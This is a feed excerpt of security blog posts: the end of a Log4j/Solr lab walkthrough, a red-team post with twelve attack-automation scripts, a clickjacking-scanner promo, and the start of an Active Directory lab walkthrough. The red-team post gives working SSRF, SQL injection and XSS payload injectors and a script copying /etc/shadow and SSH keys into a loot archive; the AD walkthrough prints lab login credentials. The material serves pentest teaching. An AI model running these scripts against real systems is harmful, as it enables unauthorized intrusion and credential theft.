Apache Solr website. <a href="https://solr.apache.org/security.html">https://solr.apache.org/security.html</a></p><p>One option is to manually modify the solr.in.sh file with a specific syntax. Let’s go down that route for the sake of showcasing this defensive tactic.</p><p>If you want to directly SSH into the machine, the credentials are vagrant as the username and vagrant as the password.</p><p><strong>Answer to the questions of this section-</strong></p><p>No Answer needed, just follow the steps mentioned in the task</p><p><strong>Steps:</strong></p><p>1) We will begin mitigating manually <strong>solr.in.sh</strong> file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/0*qetV6nXEhFqRwLUw.jpeg" /></figure><p>2) The Apache Solr website Security page explains that you can add this specific syntax to the solr.in.sh file: <strong>SOLR_OPTS=”$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true”</strong></p><p>Using <strong>sudo nano /etc/default/solr.in.sh</strong> paste this code- <strong>SOLR_OPTS=”$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true” </strong>randomly anywhere within the solr.in.sh file and save it</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*OK31r8mF2ZPhn7YI.jpeg" /></figure><p>Now do <strong>sudo /etc/init.d/solr restart</strong> to successfully restart the Apache Solr Service</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*X2fVBDd48nOHT6RL.jpeg" /></figure><p>3) Now to validate the patch that has taken place, start another<strong> netcat listener</strong> and spin up <strong>LDAP Referral Server </strong>and<strong> HTTP Server</strong></p><p>Hit <strong>curl</strong> again to verify the patch</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*WcEcA9SyHOOvCaAR.jpeg" /></figure><p><strong>Results-</strong> this time we should not get any response to the temporary LDAP server, HTTP server, and netcat service.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*_Fdq8lJP4ywhJaQA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/0*aFGLI_uCKSLSIpTv.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/0*9fmeZDW2W8XM7tsS.jpeg" /></figure><p>Patch is Successful</p><p><strong>Task 10 Patching –</strong></p><p>At the time of creating this exercise, Apache Solr 8.11.1 has not yet been released with a formal patch for CVE-2021–44228. Alongside many other software providers, the industry is frantically scrambling to patch their software and push it downstream to end users as quickly as they can.</p><p>Please be understanding of this frenzy. There are so many potential places that this log4j vulnerability could be present, we may never see the end of this vulnerability for a long, long time. The onus is on you, on me, on each and every one of us to raise awareness of this incident, and hold the community accountable for actively responding. When the time comes, roll out the patches that have been made available and continue to hunt for instances of this vulnerability. It takes a village.</p><p>Where appropriate, please ensure you patch the logging-log4j package to version 2.15.0rc2 or higher (as new releases come available).</p><p>If you’re responsible for identifying vulnerable services that use log4j, there is a list of a few majorly affected services/products here- <a href="https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/">https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/</a></p><p><strong>Answer to the questions of this section-</strong></p><p>No answer needed</p><p>That is all for this Write-up, hoping this will help you in solving the challenges of Solar Exploiting Log4j. Have Fun and Enjoy Hacking! Do visit other rooms and modules on TryHackMe for more learning.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7dc4a522907b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Red Team Automation: 12 Scripts That Save Hours (and Win Real Engagements)]]></title>
            <link>https://medium.com/@vipingiribgb0/red-team-automation-12-scripts-that-save-hours-and-win-real-engagements-e84d03f1b8ac?source=rss-bb47aef22c03------2</link>
            <guid isPermaLink="false">https://medium.com/p/e84d03f1b8ac</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[script]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[vipin]]></dc:creator>
            <pubDate>Mon, 04 May 2026 12:40:50 GMT</pubDate>
            <atom:updated>2026-05-04T12:40:50.430Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/236/1*doyw2X4VKdJycrlBuDW0cw.jpeg" /><figcaption>CIPHER IS HERE</figcaption></figure><blockquote><strong>Ever burned a whole weekend on manual recon, only to realize you missed a low-hanging RCE vector because you were sorting through logs by…</strong></blockquote><p>Ever burned a whole weekend on manual recon, only to realize you missed a low-hanging RCE vector because you were sorting through logs by hand? You’re not alone. Over 60% of red teamers admit they waste precious hours on tasks a good script could finish before you even pour your coffee. Let’s fix that — together.</p><p>Welcome to the world of red team automation. I’m about to walk you through 12 real-life scripts that I (and countless pentesters) use to speed up recon, exploitation, and post-exploitation — leaving more time for creative attacks and, honestly, more sleep.</p><h4>Why Red Team Automation Matters (More Than Ever)</h4><p>Red teaming is more competitive than ever. Bug bounty programs drop new assets weekly. Clients want deeper coverage in less time. If you’re still clicking through Burp Suite by hand, you’re probably missing out — on both findings <strong>and fun.</strong></p><p>Here’s the thing: the best red teamers aren’t just manual testers; they’re power-users of automation. They build, tweak, and deploy scripts for everything from OSINT to privilege escalation, making themselves practically unstoppable.</p><h4>What You’ll Get Today</h4><ul><li>12 actionable scripts (with code you can use or adapt)</li><li>Step-by-step usage for each — no guesswork</li><li>Tips to integrate into your workflow, whether you’re a lone wolf or leading a team</li></ul><p>Sound good? Let’s roll.</p><h4>Automated Subdomain Enumeration with Subfinder &amp; Amass</h4><p>If you’re still running nslookup in a loop — stop. Subdomain enumeration is foundation work, and automation here saves hours.</p><h4>Script: Bash Wrapper for Subdomain Recon</h4><p>This little beauty chains Subfinder and Amass for you, merges results, and sorts out duplicates. Run it, walk away, come back to a fat list of targets.</p><pre>#!/bin/bash</pre><pre>domain=$1</pre><pre>if [ -z &quot;$domain&quot; ]; then<br>  echo &quot;Usage: $0 &lt;domain&gt;&quot;<br>  exit 1<br>fi</pre><pre>subfinder -d $domain -silent &gt; subs1.txt<br>amass enum -d $domain -o subs2.txt</pre><pre>cat subs1.txt subs2.txt | sort -u &gt; ${domain}_all_subs.txt<br>rm subs1.txt subs2.txt</pre><pre>echo &quot;[*] Subdomain enumeration complete. Results in ${domain}_all_subs.txt&quot;</pre><h4>How to Use</h4><ul><li>Save as subenum.sh, chmod +x subenum.sh</li><li>Run ./subenum.sh example.com</li><li>Drink your coffee while it runs</li></ul><h4>Why It’s Gold</h4><ul><li>Kicks off two industry-standard tools at once</li><li>Dedupes every result</li><li>Scales to hundreds of domains if looped</li></ul><h4>2. Mass Port Scanning with Fast-Scan Nmap</h4><p>Manual Nmap scans are slow, especially on wide scopes. You need something snappy for initial sweeps.</p><h4>Script: Quick Nmap Top 1000 Port Scanner</h4><p>Here’s a bash snippet that blitzes through your subdomain list.</p><pre>#!/bin/bash</pre><pre>input=$1</pre><pre>if [ -z &quot;$input&quot; ]; then<br>  echo &quot;Usage: $0 &lt;subdomains_file&gt;&quot;<br>  exit 1<br>fi</pre><pre>while read host; do<br>  echo &quot;Scanning $host...&quot;<br>  nmap -T4 -F -Pn $host | tee -a nmap_results.txt<br>done &lt; $input</pre><pre>echo &quot;Done! All results in nmap_results.txt&quot;</pre><h4>Hints</h4><ul><li>-T4 speeds up scans</li><li>-F checks top 100 ports (customize as needed)</li><li>-Pn skips host discovery if ICMP is blocked</li></ul><h4>Real-World Use</h4><p>I’ve handed off 200+ targets to this script during a live engagement — let it run overnight, then dig into the open ports with targeted scripts next morning.</p><h4>3. Automated Screenshotting with Aquatone</h4><p>Ever spent hours checking which subdomains are visually interesting? You don’t have to.</p><h4>Script: Aquatone Screenshot Collector</h4><pre>#!/bin/bash<br>subs=$1</pre><pre>if [ -z &quot;$subs&quot; ]; then<br>  echo &quot;Usage: $0 &lt;subdomains_file&gt;&quot;<br>  exit 1<br>fi</pre><pre>cat $subs | aquatone -out aquatone_report</pre><pre>echo &quot;[*] Aquatone complete. Open aquatone_report/aquatone_report.html to browse screenshots.&quot;</pre><h4>Why This Rocks</h4><ul><li>Visual triage: spot juicy apps (admin panels, test portals) at a glance</li><li>Great for reporting — drop screenshots right into your findings</li></ul><h4>Pro Tip</h4><p>Combine this output with your Nmap results for targeted web attacks.</p><h4>4. One-Liner for HTTP Probing: httprobe</h4><p>You’ve got 1000 subdomains, but which ones actually respond over HTTP/HTTPS? Don’t check by hand.</p><h4>Script: Check HTTP/HTTPS Live Hosts</h4><pre>cat ${domain}_all_subs.txt | httprobe &gt; live_hosts.txt</pre><h4>What’s Happening</h4><ul><li>Feeds your big list of subs to httprobe</li><li>Dumps only live web hosts to live_hosts.txt</li></ul><h4>Use Case</h4><p>Perfect before mass vulnerability scanning or XSS poking.</p><h4>5. Mass Vulnerability Scanning with Nuclei</h4><p>Let’s be honest — manual CVE checks are for masochists. nuclei automates thousands of vulnerability checks.</p><h4>Script: Nuclei Mass Scanner</h4><pre>nuclei -l live_hosts.txt -t cves/ -o nuclei_results.txt</pre><h4>Key Points</h4><ul><li>-l points to your list of live hosts</li><li>-t cves/ grabs all CVE templates (update as needed)</li><li>Output is nice and clean for grep or manual review</li></ul><h4>Real-World Impact</h4><p>I’ve seen zero-days pop up here — especially on large external pentests where you’re fishing for low-effort, high-impact bugs.</p><h4>6. Automated Directory Bruteforcing with Gobuster</h4><p>Directory brute-forcing by hand? Not in this decade.</p><h4>Script: Gobuster Loop Over Live Hosts</h4><pre>#!/bin/bash<br>hosts=$1</pre><pre>if [ -z &quot;$hosts&quot; ]; then<br>  echo &quot;Usage: $0 &lt;live_hosts_file&gt;&quot;<br>  exit 1<br>fi</pre><pre>wordlist=&quot;/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt&quot;</pre><pre>while read url; do<br>  echo &quot;Scanning $url...&quot;<br>  gobuster dir -u $url -w $wordlist -q -o gobuster_${url//[:\/]/_}.txt<br>done &lt; $hosts</pre><pre>echo &quot;Done. Check gobuster_* files for results.&quot;</pre><h4>What’s Different Here</h4><ul><li>Handles weird domain/URL characters in filenames</li><li>Runs quietly (`-q`)</li><li>Easily parallelizable for big scopes</li></ul><h4>7. Automated SSRF Tester</h4><p>SSRF (Server-Side Request Forgery) is a goldmine but a pain to test at scale. Let’s automate payload injection.</p><h4>Script: SSRF Fuzzer for URL Parameters</h4><pre>#!/bin/bash</pre><pre>target=$1</pre><pre>if [ -z &quot;$target&quot; ]; then<br>  echo &quot;Usage: $0 &lt;url&gt;&quot;<br>  exit 1<br>fi</pre><pre>attacker_server=&quot;http://your.burpcollaborator.net&quot;</pre><pre>params=$(echo $target | grep -oP &#39;(?&lt;=\?).*&#39; | tr &#39;&amp;&#39; &#39;\n&#39; | cut -d= -f1)</pre><pre>for param in $params; do<br>  test_url=$(echo $target | sed &quot;s/\($param=\)[^&amp;]*/\1$attacker_server/&quot;)<br>  echo &quot;Testing $param: $test_url&quot;<br>  curl -sk $test_url &amp;<br>done</pre><pre>wait<br>echo &quot;Check your Burp Collaborator or logging server for hits.&quot;</pre><h4>How to Use</h4><ul><li>Replace your.burpcollaborator.net with your external listener</li><li>Script injects your callback into every query parameter</li><li>Check your logs for SSRF triggers</li></ul><h4>The Cool Part?</h4><p>This tactic scales — tweak for wordlists or larger target sets with minimal effort.</p><h4>8. SQL Injection Fuzzer: Quickfire</h4><p>SQLi is still rampant, but fuzzing every param by hand is tedious.</p><h4>Script: Rapid SQLi Param Tester</h4><pre>#!/bin/bash</pre><pre>target=$1</pre><pre>if [ -z &quot;$target&quot; ]; then<br>  echo &quot;Usage: $0 &lt;url_with_params&gt;&quot;<br>  exit 1<br>fi</pre><pre>payload=&quot;&#39; OR &#39;1&#39;=&#39;1&quot;</pre><pre>params=$(echo $target | grep -oP &#39;(?&lt;=\?).*&#39; | tr &#39;&amp;&#39; &#39;\n&#39; | cut -d= -f1)</pre><pre>for param in $params; do<br>  test_url=$(echo $target | sed &quot;s/\($param=\)[^&amp;]*/\1$payload/&quot;)<br>  echo &quot;Testing parameter $param&quot;<br>  curl -sk $test_url | grep -i error &amp;&amp; echo &quot;[!] Possible SQLi on $param&quot;<br>done</pre><h4>What It Does</h4><ul><li>Rewrites each parameter with a classic payload</li><li>Flags possible errors for quick triage</li></ul><h4>In Practice…</h4><p>You’ll still want to validate manually — but this script surfaces the “weird” ones for deeper investigation.</p><h4>9. XSS Payload Automator</h4><p>Cross-site scripting is everywhere, but who wants to copy-paste payloads for each parameter?</p><h4>Script: XSS Param Blaster</h4><pre>#!/bin/bash</pre><pre>target=$1</pre><pre>if [ -z &quot;$target&quot; ]; then<br>  echo &quot;Usage: $0 &lt;url_with_params&gt;&quot;<br>  exit 1<br>fi</pre><pre>payload=&quot;&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;&quot;</pre><pre>params=$(echo $target | grep -oP &#39;(?&lt;=\?).*&#39; | tr &#39;&amp;&#39; &#39;\n&#39; | cut -d= -f1)</pre><pre>for param in $params; do<br>  test_url=$(echo $target | sed &quot;s/\($param=\)[^&amp;]*/\1$payload/&quot;)<br>  echo &quot;Testing $param for XSS&quot;<br>  curl -sk $test_url | grep &quot;$payload&quot; &amp;&amp; echo &quot;[*] XSS reflected on $param&quot;<br>done</pre><h4>How to Use</h4><ul><li>Works great for GET parameters</li><li>Fires classic payload, checks if reflected</li></ul><h4>Want More?</h4><p>Pair with Burp Repeater for deeper, manual tests — or expand your payload arsenal for tricky filters.</p><h4>10. Mass Privilege Escalation Checker (Linux)</h4><p>You’ve got a shell. You want root. It’s not always obvious what to try — unless you automate the boring checks.</p><h4>Script: Linux PrivEsc Fast Checker</h4><pre>#!/bin/bash</pre><pre>echo &quot;[*] Checking for sudo privileges...&quot;<br>sudo -l</pre><pre>echo &quot;[*] Checking for writable /etc/passwd or /etc/shadow...&quot;<br>ls -l /etc/passwd /etc/shadow</pre><pre>echo &quot;[*] Looking for SUID binaries...&quot;<br>find / -perm -4000 -type f 2&gt;/dev/null</pre><pre>echo &quot;[*] Searching for world-writable files...&quot;<br>find / -writable -type f 2&gt;/dev/null</pre><pre>echo &quot;[*] Scanning for password files...&quot;<br>find / -name &#39;*.bak&#39; -or -name &#39;*.old&#39; -or -name &#39;*.swp&#39; 2&gt;/dev/null</pre><pre>echo &quot;[*] Done. Review outputs for privilege escalation vectors.&quot;</pre><h4>Why It Helps</h4><ul><li>One-off all the classic privesc checks in seconds</li><li>Helps surface misconfigurations or forgotten SUID binaries</li></ul><h4>In Practice</h4><p>I’ve landed root access just by spotting a world-writable SUID file. This script makes sure you don’t miss those easy wins.</p><h4>11. Lateral Movement Finder (Windows)</h4><p>Once inside a network, you want to move laterally — quickly. Mapping trust relationships by hand is slow.</p><h4>Script: WinRM/SMB Lateral Movement Scanner (PowerShell)</h4><pre>Copy$hosts = Get-Content .\hosts.txt<br>foreach ($host in $hosts) {<br>    Write-Output &quot;Checking $host...&quot;<br>    Test-WSMan $host -ErrorAction SilentlyContinue &amp;&amp; Write-Output &quot;$host has WinRM exposed.&quot;<br>    Test-NetConnection -ComputerName $host -Port 445 | Where-Object { $_.TcpTestSucceeded } | ForEach-Object { Write-Output &quot;$host has SMB open.&quot; }<br>}</pre><h4>How It Works</h4><ul><li>Reads a list of hosts (from bloodhound, nmap, whatever)</li><li>Checks for WinRM (PowerShell Remoting) and SMB (classic lateral movement vectors)</li></ul><h4>Real Talk</h4><p>You’ll need the right creds to exploit these, but knowing where the doors are saves tons of time.</p><h4>12. Exfiltration Script: Quick Data Grabber</h4><p>Once you pop a box, you want sensitive data — fast, before someone notices.</p><h4>Script: Fast /etc and SSH Data Collector (Linux)</h4><pre>#!/bin/bash</pre><pre>loot_dir=&quot;loot_$(hostname)_$(date +%s)&quot;<br>mkdir $loot_dir</pre><pre>cp /etc/passwd $loot_dir/<br>cp /etc/shadow $loot_dir/ 2&gt;/dev/null<br>cp -R ~/.ssh $loot_dir/ 2&gt;/dev/null</pre><pre>tar czvf ${loot_dir}.tar.gz $loot_dir</pre><pre>echo &quot;[*] Data exfil complete. Grab ${loot_dir}.tar.gz&quot;</pre><h4>What It Snags</h4><ul><li>Password hashes</li><li>SSH keys (user context)</li><li>Compresses everything for fast transfer</li></ul><h4>How to Use</h4><ul><li>Run after privilege escalation — or as your first step post-shell</li><li>Transfer the archive, analyze offline</li></ul><h4>Bonus: Chaining it All Together</h4><p>Here’s where it gets interesting. You can chain these scripts into a full red team pipeline. Imagine:</p><ol><li>Subdomain enum feeds live host detection</li><li>Live hosts go into Nmap, Aquatone, and Nuclei</li><li>Vulnerable hosts get Gobuster, SSRF, SQLi, and XSS fuzzers</li><li>Inside, privesc and exfil scripts make sure you don’t leave loot behind</li></ol><p>It’s not just about running tools — it’s about combining them so you focus on the creative part of hacking, not the grind.</p><h4>Bringing It All Home</h4><p>Red team automation isn’t just a nice-to-have. It’s your secret weapon against time, boredom, and missed findings.</p><p>Scripts like these don’t make you less of a hacker — they set you free to hunt for the clever bugs, the privilege escalation chains, and the rare misconfigs that make a report shine.</p><p>If you’re serious about pentesting, bug bounty, or internal red team ops, start automating these boring (but essential) tasks today. Build your own library, share with teammates, and iterate.</p><p>And hey, if you’ve got a killer script of your own that saved your skin, let’s trade stories. The best red teams never stop learning — or automating.</p><p>Keep hacking smarter.</p><h4>Stay in the Loop</h4><p>Want quick tips, free tools, and sneak peeks?</p><p>| <a href="https://github.com/vipin-giri">https://github.com/vipin-giri</a></p><p>|<a href="https://www.instagram.com/cipher.pentest/"> </a><a href="https://www.instagram.com/cipher.pentest/">https://www.instagram.com/cipher.pentest/</a></p><p>| <a href="https://www.linkedin.com/in/vipin-giri-598771327/">https://www.linkedin.com/in/vipin-giri-598771327/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e84d03f1b8ac" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Built a Clickjacking Scanner — Here’s How You Can Test Any Site]]></title>
            <link>https://medium.com/@vipingiribgb0/i-built-a-clickjacking-scanner-heres-how-you-can-test-any-site-a6a6ed013abb?source=rss-bb47aef22c03------2</link>
            <guid isPermaLink="false">https://medium.com/p/a6a6ed013abb</guid>
            <category><![CDATA[test-site-security-free]]></category>
            <category><![CDATA[xfo-vs-csp-guide]]></category>
            <category><![CDATA[prevent-clickjacking]]></category>
            <category><![CDATA[what-is-clickjacking]]></category>
            <category><![CDATA[top-web-vulnerabilities]]></category>
            <dc:creator><![CDATA[vipin]]></dc:creator>
            <pubDate>Fri, 20 Mar 2026 06:59:57 GMT</pubDate>
            <atom:updated>2026-05-08T12:46:32.064Z</atom:updated>
            <content:encoded><![CDATA[<h3>How to Check Clickjacking Vulnerability in Any Website (Free Tool)</h3><p>Clickjacking is one of the most overlooked web vulnerabilities, yet it can lead to serious security issues if not properly handled.</p><p>In this article, I’ll explain what clickjacking is, how it works, and how you can test any website using a tool I built.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qor5hkr_9eU5Y_g7_jNZfw.png" /></figure><h3>🔍 What is Clickjacking?</h3><p>Clickjacking is an attack where a malicious website tricks a user into clicking something different from what they perceive.</p><p>This is usually done by embedding a target website inside an invisible iframe.</p><p>For example, a user may think they are clicking a harmless button, but in reality, they are interacting with a hidden layer that performs an unintended action.</p><h3>⚠️ Why is it dangerous?</h3><p>Clickjacking can be used to:</p><ul><li>Perform unauthorized actions on behalf of users</li><li>Steal sensitive data</li><li>Trick users into enabling permissions</li></ul><h3>🛠️ How to Check Clickjacking Vulnerability</h3><p>To make this easier, I built a simple tool that checks whether a website is vulnerable.</p><p>🔗 Try it here: <a href="https://clickjacking-scanner.vercel.app/">https://b</a>ugnexa.com</p><p>The tool analyzes:</p><ul><li>X-Frame-Options header</li><li>Content Security Policy (CSP)</li><li>Frame embedding behavior</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FoArUiG6_sQu7aSk3CviRw.png" /></figure><h3>🧪 Example Attack</h3><p>A malicious attacker can create a page with an invisible iframe:</p><ul><li>The iframe loads a legitimate website</li><li>The user clicks unknowingly</li><li>The action is executed on the real site</li></ul><h3>🛡️ How to Prevent Clickjacking</h3><p>Developers can prevent this using:</p><ul><li>X-Frame-Options: DENY or SAMEORIGIN</li><li>Content-Security-Policy: frame-ancestors</li></ul><p>These headers ensure that your website cannot be embedded in unauthorized frames.</p><h3>💡 Final Thoughts</h3><p>Clickjacking is simple but dangerous. Many websites still fail to implement proper protection.</p><p>If you’re a developer or security enthusiast, it’s important to test and secure your applications.</p><p>Feel free to try the tool and share your feedback.</p><p>Try it here: <a href="https://clickjacking-scanner.vercel.app/">https://b</a>ugnexa.com</p><p>#cybersecurity #websecurity #infosec #owasp #bugbounty</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a6a6ed013abb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active Directory Basics — TryHackMe]]></title>
            <link>https://medium.com/@vipingiribgb0/active-directory-basics-tryhackme-fdafe5774eb8?source=rss-bb47aef22c03------2</link>
            <guid isPermaLink="false">https://medium.com/p/fdafe5774eb8</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[tryhacme]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[active-directory-basics]]></category>
            <dc:creator><![CDATA[vipin]]></dc:creator>
            <pubDate>Tue, 21 Oct 2025 03:40:20 GMT</pubDate>
            <atom:updated>2025-10-21T03:40:20.811Z</atom:updated>
            <content:encoded><![CDATA[<h3>Active Directory Basics — TryHackMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*YNOlPamE-kDteuUv.png" /></figure><h3>Task 2: Windows Domains:</h3><p><strong><em>In a Windows domain, credentials are stored in a centralized repository called…</em></strong></p><p><strong><em>Answer: </em></strong><em>active directory</em></p><p><strong><em>The server in charge of running the Active Directory services is called…</em></strong></p><p><strong><em>Answer: </em></strong><em>Domain Controller</em></p><h3>Note:</h3><p><strong><em>What is AD?</em></strong></p><p><strong><em>=&gt; Active directory</em></strong><em> is a </em><strong><em>directory database /server</em></strong><em> that stores </em><strong><em>users’ information</em></strong><em> such as </em><strong><em>usernames</em></strong><em>, </em><strong><em>phone numbers</em></strong><em>, </em><strong><em>emails, and many other credentials. The same network User’s things can be managed from an active directory. Privileges of the users are also controlled from the active directory.</em></strong></p><p><em>The server that runs the Active Directory services is known as a </em><strong><em>Domain Controller (DC)</em></strong><em>.</em></p><p><em>To overcome some </em><strong><em>limitations like manually creating users by visiting each computer separately, and fixing problems in any computer manually, creating a specific boundary for each user manually</em></strong><em>, we can use a </em><strong><em>Windows domain</em></strong><em>. Simply put a </em><strong><em>Windows domain</em></strong><em> for a </em><strong><em>group of users and computers under the administration of a given business</em></strong><em>. The main idea behind a domain is to </em><strong><em>centralize the administration of common components of a Windows computer network in a single repository called Active Directory (AD)</em></strong><em>. The server that runs the Active Directory services is known as a </em><strong><em>Domain Controller (DC)</em></strong><em>.</em></p><p><em>The main advantages of having a configured Windows domain are:</em></p><ul><li><strong><em>Centralized identity management: All users across the network </em></strong><em>can be </em><strong><em>configured from Active Directory </em></strong><em>with </em><strong><em>minimum </em></strong><em>effort.</em></li><li><strong><em>Managing security policies:</em></strong><em> You can c</em><strong><em>onfigure security policies directly </em></strong><em>from </em><strong><em>Active Directory </em></strong><em>and apply them to </em><strong><em>users and computers </em></strong><em>across the </em><strong><em>network</em></strong><em> as needed.</em></li></ul><p><strong><em>A Real-World Example</em></strong></p><p><em>If this sounds a bit confusing, chances are that you have already interacted with a Windows domain at some point in your school, university, or work.</em></p><p><em>In school/university networks, you will often be provided with a username and password that you can use on any of the computers available on campus. Your credentials are valid for all machines because whenever you input them on a machine, it will forward the authentication process back to the Active Directory, where your credentials will be checked. Thanks to Active Directory, your credentials don’t need to exist in each machine and are available throughout the network.</em></p><p><em>Active Directory is also the component that allows your school/university to restrict you from accessing the control panel on your school/university machines. Policies will usually be deployed throughout the network so that you don’t have administrative privileges over those computers.</em></p><p><em>I have used </em><strong><em>Remmina </em></strong><em>a Kali tool to enter the</em><strong><em> THM.local</em></strong><em> using the </em><strong><em>RDP </em></strong><em>port. </em><strong><em>Username:</em></strong><em> Administrator </em><strong><em>Password: </em></strong><em>Password321</em></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*dg_caHbn0L7iLhC3.png" /></figure><p>The RDP server</p><h3>Task 3: Active Directory:</h3><p><strong><em>Which group normally administrates all computers and resources in a domain?</em></strong></p><p><strong><em>Answer:</em></strong><em> Domain Admin</em></p><p><strong><em>What would be the name of the machine account associated with a machine named TOM-PC?</em></strong></p><p><strong><em>Answer: </em></strong><em>TOM-PC$</em></p><p><strong><em>Suppose our company creates a new department for Quality Assurance. What type of containers should we use to group all Quality Assurance users so that policies can be applied consistently to them?</em></strong></p><p><strong><em>Answer: </em></strong><em>Organizational unit</em></p><h3>Note:</h3><p><em>The </em><strong><em>core </em></strong><em>of any</em><strong><em> Windows Domain</em></strong><em> is the </em><strong><em>Active Directory Domain Service (AD DS)</em></strong><em>. This </em><strong><em>service acts as a catalog</em></strong><em> that holds the </em><strong><em>information of all of the “objects” that exist on your network</em></strong><em>. Amongst the many objects supported by AD, we have </em><strong><em>users, groups, machines, printers, shares, and many others.</em></strong><em> Let’s look at some of them:</em></p><p><strong><em>Users</em></strong></p><p><strong><em>Users are one of the most common object types in Active Directory</em></strong><em>. Users are one of the </em><strong><em>objects </em></strong><em>known as </em><strong><em>security principals</em></strong><em>, meaning that they can be </em><strong><em>authenticated</em></strong><em> by the </em><strong><em>domain and can be assigned privileges over resources like files or printer</em></strong><em>s. You could say that a </em><strong><em>security principal is an object</em></strong><em> that can</em><strong><em> act upon resources in the network</em></strong><em>.</em></p><p><em>Users can be used to represent two types of entities:</em></p><ul><li><strong><em>People: users will generally represent persons</em></strong><em> in your </em><strong><em>organization </em></strong><em>that need to access the network, like </em><strong><em>employees</em></strong><em>.</em></li><li><strong><em>Services:</em></strong><em> you can also </em><strong><em>define users to be used by services like IIS or MSSQL</em></strong><em>. Every single service requires a </em><strong><em>user to run</em></strong><em>, but </em><strong><em>service users</em></strong><em> are different from </em><strong><em>regular users </em></strong><em>as they will only have the</em><strong><em> privileges needed to run their specific service</em></strong><em>. </em><strong><em>(Here the users are not like normal users meaning this type of user account is created for running a particular service or application on the Windows operating system. This kind of account is by default account already created in the operating system. But any person can create a service account if needed. Example: allows accounts to start network services or services that run continuously on a computer, even when no one is logged on to the console)</em></strong></li></ul><p><strong><em>Machines (</em></strong><em>A computer account represents your desktop or laptop to the active directory. There is an account name and an account ID associated with your computer account</em><strong><em>)</em></strong></p><p><em>Machines are another type of </em><strong><em>object </em></strong><em>within </em><strong><em>Active Directory</em></strong><em>; for </em><strong><em>every computer that joins</em></strong><em> the Active Directory domain, a </em><strong><em>machine object will be created</em></strong><em>. Machines are also considered “</em><strong><em>security principals</em></strong><em>” and are assigned an account just as any regular user. This account has </em><strong><em>somewhat limited rights within the domain itself.</em></strong></p><p><em>The machine accounts themselves are</em><strong><em> local administrators o</em></strong><em>n the assigned computer, they are generally not supposed to be accessed by anyone except the </em><strong><em>computer itself</em></strong><em>, but </em><strong><em>as with any other account</em></strong><em>, if you have the password, you can use it to log in.</em></p><p><strong><em>Note:</em></strong><em> </em><strong><em>Machine Account passwords</em></strong><em> are </em><strong><em>automatically rotated</em></strong><em> out and are generally </em><strong><em>comprised of 120 random characters</em></strong><em>.</em></p><p><em>Identifying machine accounts is</em><strong><em> relatively easy</em></strong><em>. They follow a </em><strong><em>specific naming scheme</em></strong><em>. The machine account name is the computer’s name followed by a dollar sign. </em><strong><em>For example, a machine named </em></strong><strong><em>DC01 will have a machine account called </em></strong><strong><em>DC01$.</em></strong></p><p><strong><em>Security Groups</em></strong></p><p><em>If you are familiar with </em><strong><em>Windows,</em></strong><em> you probably know that you can define user </em><strong><em>groups to assign access rights to files or other resources to entire groups instead of single users</em></strong><em>. This allows for better manageability as you can add users to an existing group, and they will automatically inherit all of the group’s privileges. Security groups are also considered security principals and, therefore, can have privileges over resources on the network.</em></p><p><em>Groups can have both users and machines as members. If needed, groups can include other groups as well.</em></p><p><em>Several groups are created by default in a domain that can be used to grant specific privileges to users. As an example, here are some of the most important groups in a domain:</em></p><p><strong><em>Domain Admins:</em></strong><em> Users of this group have</em><strong><em> administrative privileges </em></strong><em>over the </em><strong><em>entire domain</em></strong><em>. By default, they can</em><strong><em> administer any computer on the domain, including the DCs</em></strong><em>.</em></p><p><strong><em>Server Operators: </em></strong><em>Users in this group can </em><strong><em>administer Domain Controllers</em></strong><em>. </em><strong><em>They cannot change any administrative group memberships.</em></strong></p><p><strong><em>Backup Operators:</em></strong><em> Users in this group </em><strong><em>are allowed to access any file</em></strong><em>,</em><strong><em> ignoring their permissions</em></strong><em>. They are </em><strong><em>used to perform backups of data on computers</em></strong><em>.</em></p><p><strong><em>Account Operators:</em></strong><em> </em><strong><em>Users in this group can create or modify other accounts in the domain.</em></strong></p><p><strong><em>Domain Users:</em></strong><em> Includes</em><strong><em> all existing user accounts in the domain</em></strong><em>.</em></p><p><strong><em>Domain Computers:</em></strong><em> Includes all existing </em><strong><em>computers in the domain</em></strong><em>.</em></p><p><strong><em>Domain Controllers: </em></strong><em>Includes all </em><strong><em>existing DCs on the domain</em></strong><em>.</em></p><p><strong><em>Active Directory Users and Computers</em></strong></p><p><em>To configure users, groups, or machines in Active Directory, we need to 